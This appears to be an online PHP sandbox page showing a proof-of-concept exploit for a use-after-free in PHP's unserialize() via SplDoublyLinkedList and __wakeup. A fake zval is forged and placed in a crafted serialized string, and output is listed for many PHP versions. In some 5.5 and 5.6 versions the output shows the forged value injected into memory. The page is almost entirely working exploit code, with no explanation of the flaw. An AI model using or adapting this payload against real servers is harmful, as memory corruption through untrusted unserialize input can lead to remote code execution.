<?php
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
- Output for 5.5.29 - 5.5.35, 5.6.13 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
- array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#2 (1) {
["ryat"]=>
&int(1)
}
[3]=>
array(1) {
[0]=>
int(1)
}
[4]=>
string(24) "�v�B "
}
- Output for 5.5.24 - 5.5.28, 5.6.8 - 5.6.12
- array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#2 (1) {
["ryat"]=>
&int(1)
}
[3]=>
array(1) {
[0]=>
int(1122334455)
}
[4]=>
string(24) "�v�B ���� "
}
preferences:
189.7 ms | 402 KiB | 224 Q